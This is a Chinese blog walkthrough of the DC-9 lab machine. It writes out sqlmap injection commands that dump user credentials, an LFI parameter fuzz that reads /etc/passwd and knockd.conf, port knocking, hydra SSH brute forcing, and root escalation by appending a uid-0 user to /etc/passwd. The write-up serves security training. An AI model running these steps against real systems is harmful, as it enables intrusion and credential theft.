端口敲击守护程序之DC-9

总结

getwebshell : 发现SQL注入 → 登录系统 → 疑似文件包含 → FUZZ参数 → 文件包含读取守护程序 → 敲击打开SSH端口 → 利用泄露账号密码登录

提 权 思 路 : 发现3个用户 → 登录获取密码字典 → 再次爆破获取第4个用户 → sudo文件发现 → 存在root权限写入功能 → passwd覆盖提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.192

图片

  • 启动靶机
    获取目标机器IP → 192.168.178.209

图片

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

 
  1. sudo nmap --min-rate 10000 -p- 192.168.178.209

  2. PORT STATE SERVICE

  3. 22/tcp filtered ssh

  4. 80/tcp open http

图片


开放的端口->80
过滤的端口->22

 
  1. 当端口被列为“被过滤”时,意味着该端口被防火墙或网络设备阻止或过滤。这可能是有意的,例如用作防止未经授权访问的安全措施,也可能是由于网络配置错误或连接问题而无意的。

  2. 在这种情况下,端口22被过滤,因此可能无法使用该端口建立到目标设备的SSH连接。

目标端口对应服务探测

 
  1. # tcp探测

  2. sudo nmap -sT -sV -O -sC -p22,80 192.168.178.209

  3. PORT STATE SERVICE VERSION

  4. 22/tcp closed ssh

  5. 80/tcp open http Apache httpd 2.4.38 ((Debian))

图片


现在22端口是关闭的

信息收集-端口测试

80-HTTP端口的信息收集

访问 http://192.168.178.209:80 看上去像CMS
随便戳了戳发现是php

图片

信息收集-网站指纹
 
  1. ┌──(root㉿Kali)-[/home/bachang/DC-9]

  2. └─# whatweb http://192.168.178.209

  3. http://192.168.178.209 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.178.209], Title[Example.com - Staff Details - Welcome]

图片

漏洞利用-网站指纹(无)
 
  1. searchsploit Staff Details

  2. searchsploit Example.com

图片

信息收集-HTML隐藏信息查看
 
  1. # 利用html2text转换纯文本方便查看

  2. curl http://192.168.178.209 | html2text

让我们点击其他菜单,可能是提示

图片

信息收集-目录扫描
信息收集-目录扫描初步
 
  1. dirsearch -u http://192.168.178.209 -x 302,403,404

图片


因为扫出了目录,深层次的扫描待选,后期可能会选择.php的后缀扫描

 
  1. 信息收集-目录扫描(后缀)

  2. 信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问
端点访问

空白

图片


.php可能可以fuzz

图片


没东西

图片


里面的按钮按了没反应,也没看到什么源码

图片

图片


登录端点

图片

然后还有一个我可以点击的search

图片

功能点的实践

之前信息收集的内容还可以深入,不过都待定

漏洞探测-nikto扫描

首先挂上一个扫描器

 
  1. nikto -h http://192.168.178.209

回过头来看发现没什么

图片

登录端点浅浅实践

在登录端点来一手弱口令,以及万能密码发现都没用

图片


然后因为不知道账号是啥,尝试挂着跑admin账户的弱口令

图片

漏洞利用-getwebshell

后台登录

搜索功能点实践-SQL注入

接下来尝试来到搜索功能点,尝试输入一个'破坏完整性
因为搜索功能点大致会并入查询语句

图片


尝试输入了一个'之后发现没什么

图片


因为sql语句的不同,体现方法也是不一样滴
先试试正常的语句

图片

图片


但是Julie'就什么都没显示,推测要注释掉后面的内容
Julie' -- qwe 显示了内容

图片

图片


极大可能是存在sql注入的,使用sqlmap

POST型

在传参的地方打上*

 
  1. # 基础探测

  2. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*"

  3. # 发现存在之后直接爆数据库

  4. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" --dbs

  5. # 爆出数据库之后爆表(首页的关键词Staff,先看这个)

  6. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff --tables

  7. # 爆字段名

  8. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff -T Users --columns

  9. # 爆字段中数据

  10. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff -T Users -C Username,Password --dump

基础探测存在

图片


存在三个数据库,首页的关键词Staff,先看这个,选择第二个

图片


优先看Users的表

图片


存在账号以及密码的字段

图片


得到了帐号以及密码的信息

图片


admin | 856f5de590ef37314e7c3bdf6f8a66dc
可以发现密码是md5加密的格式,因为有32

之后我们看看另一个表,表名也挺诱惑人的

 
  1. # 爆出数据库之后爆表

  2. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D users --tables

  3. # 爆字段名

  4. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D users -T UserDetails --columns

  5. # 爆整个表

  6. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" --dump -D users -T UserDetails

只有一个表UserDetails

图片


太多了,直接一起爆吧

图片


爆了很多密码捏

图片

hashcat爆破密码(失败)
 
  1. # 将密码输出到文件

  2. echo '856f5de590ef37314e7c3bdf6f8a66dc' > hash

  3. hashcat -m 0 -a 0 hash /usr/share/wordlists/rockyou.txt

发现没爆破出来,尝试在线解密

图片


https://www.somd5.com/

图片


挺难受的,爆破不出来,解密出来的密码transorbital1

登录后台

利用获得的账号以及密码登录之后发现多了一个功能点

图片

LFI利用

登录之后发现一个奇怪的地方,登陆前底下是没有的

图片

 
  1. File does not exist >> 文件不存在

推测该功能点的php可以尝试fuzz参数

暴力破解-参数名破解FUZZ1(失败)
 
  1. # -u 指定URL FUZZ 暴力破解的地方 -w 指定字典 -fs 0 不限制文件大小

  2. ffuf -u 'http://192.168.178.209/addrecord.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/wordlists/dirb/common.txt -fs 0 > fuzz.txt

没有爆破处内容捏

图片


curl了一下也没有内容,我想起来是要带cookie才行

图片


修改一下fuff PHPSESSID "h86ph7lej727porurqhsh072vs"
带上cookie之后curl就有值了

图片

暴力破解-参数名破解FUZZ2
 
  1. # -b 带cookie

  2. ffuf -u 'http://192.168.178.209/addrecord.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/wordlists/dirb/common.txt -b "PHPSESSID=h86ph7lej727porurqhsh072vs" -fs 0 > fuzz.txt

从文件夹里面找到一个不一样的size 这样太不优雅了

图片

 
  1. ┌──(root㉿Kali)-[/home/bachang/DC-9]

  2. └─# cat fuzz.txt | grep -v 1757 | grep Size -A 2 -B 2

  3. * FUZZ: framework

  4. [Status: 200, Size: 4110, Words: 95, Lines: 108, Duration: 235ms]

  5. | URL | http://192.168.178.209/addrecord.php?file=../../../../../../etc/passwd

  6. * FUZZ: file

利用grep去掉1757并且筛选最后存在的上下各两行找到了file

图片


得到一个file的参数,在/home下发现了非常多的目录

图片


联想到刚才的数据库账号密码,应该都能登22端口,但是22端口是过滤状态

文件包含利用

日志访问(失败)

一般利用方式是包含log的内容写shell
尝试翻阅一下是否有log日志

 
  1. /var/log/auth.log # ssh登录日志

  2. /var/log/apache2/access.log # apache访问日志

查看了一下,好像都没有捏

图片


想读.ssh来着,但是ssh没开放

查看端口守护程序

因为存在过滤端口,从这个角度切入

图片


因此存在过滤端口的时候可以尝试访问一下这个文件是否存在

 
  1. ../../../../../etc/knockd.conf

  2. [options] UseSyslog

  3. [openSSH] sequence = 7469,8475,9842

  4. seq_timeout = 25

  5. command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT

  6. tcpflags = syn

  7. [closeSSH] sequence = 9842,8475,7469

  8. seq_timeout = 25

  9. command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT

  10. tcpflags = syn

图片

端口过滤之敲击守护程序

如果我们按照要求依次访问7469,8475,9842三个端口在25秒内,那么利用端口敲击守护程序ssh端口就会打开

利用工具knock

 
  1. sudo apt install knockd

  2. knock 192.168.178.209 7469 8475 9842

之后访问发现ssh端口开放了

图片

暴力破解-SSH爆破hydra

根据数据库爆出来的内容制作user.txt以及passwd.txt字典

 
  1. echo 'marym

  2. julied

  3. fredf

  4. barneyr

  5. tomc

  6. jerrym

  7. wilmaf

  8. bettyr

  9. chandlerb

  10. joeyt

  11. rachelg

  12. rossg

  13. monicag

  14. phoebeb

  15. scoots

  16. janitor

  17. janitor2' > user.txt

 
  1. echo '3kfs86sfd

  2. 468sfdfsd2

  3. 4sfd87sfd1

  4. RocksOff

  5. TC&TheBoyz

  6. B8m#48sd

  7. Pebbles

  8. BamBam01

  9. UrAG0D!

  10. Passw0rd

  11. yN72#dsd

  12. ILoveRachel

  13. 3248dsds7s

  14. smellycats

  15. YR3BVxxxw87

  16. Ilovepeepee

  17. Hawaii-Five-0' > passwd.txt

 
  1. # -L 指定账号字典 -P指定密码字典

  2. hydra -L user.txt -P passwd.txt 192.168.178.209 ssh -s 22 -t 64 - o main

查看了对应的main文件看到了3个可用

图片

 
  1. [22][ssh] host: 192.168.178.209 login: chandlerb password: UrAG0D!

  2. [22][ssh] host: 192.168.178.209 login: joeyt password: Passw0rd

  3. [22][ssh] host: 192.168.178.209 login: janitor password: Ilovepeepee

内网遨游-getshell

3开SSH

获取账号密码之后利用SSH进行登录(3个小时到了,换了个目标机)

 
  1. sudo ssh chandlerb<span class="label label-primary">@192.168.208.209</span> -p22

  2. password &gt; UrAG0D!

  3. sudo ssh joeyt<span class="label label-primary">@192.168.208.209</span> -p22

  4. password &gt; Passw0rd

  5. sudo ssh janitor<span class="label label-primary">@192.168.208.209</span> -p22

  6. password &gt; Ilovepeepee

图片


但是发现输入find都没什么用,尝试查找内部的敏感信息
janitor用户下发现了不一样的东西

图片


发现是个文件,进入

图片

图片


探索之后发现了新的密码文件,再写一个文件利用hyrda爆破

 
  1. echo 'BamBam01

  2. Passw0rd

  3. smellycats

  4. P0Lic#10-4

  5. B4-Tru3-001

  6. 4uGU5T-NiGHts' &gt; passwd2.txt

 
  1. # -L 指定账号字典 -P指定密码字典

  2. hydra -L user.txt -P passwd2.txt 192.168.208.209 ssh -s 22 -t 64 -o main

通过爆破得到了新的用户密码

图片

 
  1. [22][ssh] host: 192.168.178.209 login: fredf password: B4-Tru3-001

进行ssh连接

 
  1. sudo ssh fredf<span class="label label-primary">@192.168.208.209</span> -p22

  2. password &gt; B4-Tru3-001

FLAG1获取

输入find命令之后发现只有fredf是可以的

 
  1. fredf<span class="label label-primary">@dc-9</span>:~$ find / -name local.txt 2&gt;/dev/null

  2. /home/fredf/local.txt

  3. fredf<span class="label label-primary">@dc-9</span>:~$ cat /home/fredf/local.txt

  4. 4c30c90388a4b5baa8bf21db8529bb51

图片

权限提升

Linux提权-sudo提权

查找具有sudo权限,且不需要密码的可提权文件

 
  1. # 利用sudo -l寻找

  2. fredf<span class="label label-primary">@dc-9</span>:~$ sudo -l

  3. Matching Defaults entries for fredf on dc-9:

  4. env_reset, mail_badpass,

  5. secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

  6. User fredf may run the following commands on dc-9:

  7. (root) NOPASSWD: /opt/devstuff/dist/test/test

只有fredf用户是存在sudo

图片

追踪一下这个文件

 
  1. # 权限查看 (读与执行)

  2. fredf<span class="label label-primary">@dc-9</span>:~$ ls -al /opt/devstuff/dist/test/test

  3. -rwxr-xr-x 1 root root 1212968 Dec 29 2019 /opt/devstuff/dist/test/test

  4. # 查看内容发现看不了

  5. fredf<span class="label label-primary">@dc-9</span>:~$ cat /opt/devstuff/dist/test/test

图片


尝试运行

 
  1. fredf<span class="label label-primary">@dc-9</span>:$ cd /opt/devstuff/dist/test

  2. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ ./test

  3. Usage: python test.py read append

  4. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ sudo /opt/devstuff/dist/test/test

  5. Usage: python test.py read append

读不了,显示是读test.py ,说明使用test应该是需要参数的

 
  1. # 全局搜索

  2. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ find / -name "test.py" 2&gt;/dev/null

  3. /opt/devstuff/test.py

  4. /usr/lib/python3/dist-packages/setuptools/command/test.py

发现了两个,应该是上面那个

 
  1. cat /opt/devstuff/test.py

如果传递的参数不等于3,就会输出Usage: python test.py read append

不然会读取输入第一个参数内的文件追加写入到第二个参数

 
  1. #!/usr/bin/python

  2. import sys

  3. if len (sys.argv) != 3 :

  4. print ("Usage: python test.py read append")

  5. sys.exit (1)

  6. else :

  7. f = open(sys.argv[1], "r")

  8. output = (f.read())

  9. f = open(sys.argv[2], "a")

  10. f.write(output)

  11. f.close()

图片

/etc/passwd覆盖提权

既然是这样的话,那我可以自己写一个root权限的用户进行追加覆盖

覆盖掉root的密码

 
  1. # Kali机器使用openssl生成密码 -l指定生成密码

  2. ┌──(root㉿Kali)-[/home/bachang/DC-9]

  3. └─# sudo openssl passwd

  4. Password: YaoRuo

  5. Verifying - Password: YaoRuo

  6. $1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.

目标机器上覆盖

 
  1. # 制作root权限用户 root:x:0:0:root:/root:/bin/bash

  2. YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash

  3. # 写入到可写文件夹中

  4. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ echo 'YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash' &gt; /tmp/passwd.txt

  5. # 进行覆盖

  6. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ sudo /opt/devstuff/dist/test/test /tmp/passwd.txt /etc/passwd

  7. # 权限提升

  8. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ su YaoRuo

  9. Password: RaoYuo

  10. root<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test# id

  11. uid=0(root) gid=0(root) groups=0(root)

提权成功

图片

FLAG2获取

 
  1. root<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test# cat /root/proof.txt

  2. e67eaee361edc9e35fc8cfe0b1ea7bd7

完结撒花~

图片

总结

filtered过滤端口也是值得探索的内容
可能存在端口敲击守护程序/etc/knockd.conf

传参进行fuzz的时候还是要多试,顺便一提的是登录要记得带上cookie

端口敲击守护程序

这个内容本质上就是防止被端口扫描。从资料上看在电网这种工业级上考虑的较多。

 
  1. 端口扫描也是威胁 Web 安全的一种方式,服务器主机关闭不必要的端口对这一攻击有一定的作用,但是对于必须开启的端口还是存在着安全隐患,为了预防这一类网络攻击,系统采用一种“服务敲门”的方式来开启或关闭端口。

  2. “服务敲门”也就是端口试探,它的原理类似一次约定好的秘密握手,一定时间间隔发送一定序列的UDP 或 TCP 数据包,运行在主机上的抓包程序捕捉到之后,开启对应端口或关闭对应端口。以 22 端口为

除了使用直接利用本地安装的knockd工具之外也可以用其他方法进行端口敲击,就是有时间限制。

例如 nmap -p[端口] [ip] nc [ip] [端口]

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

  • 28
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值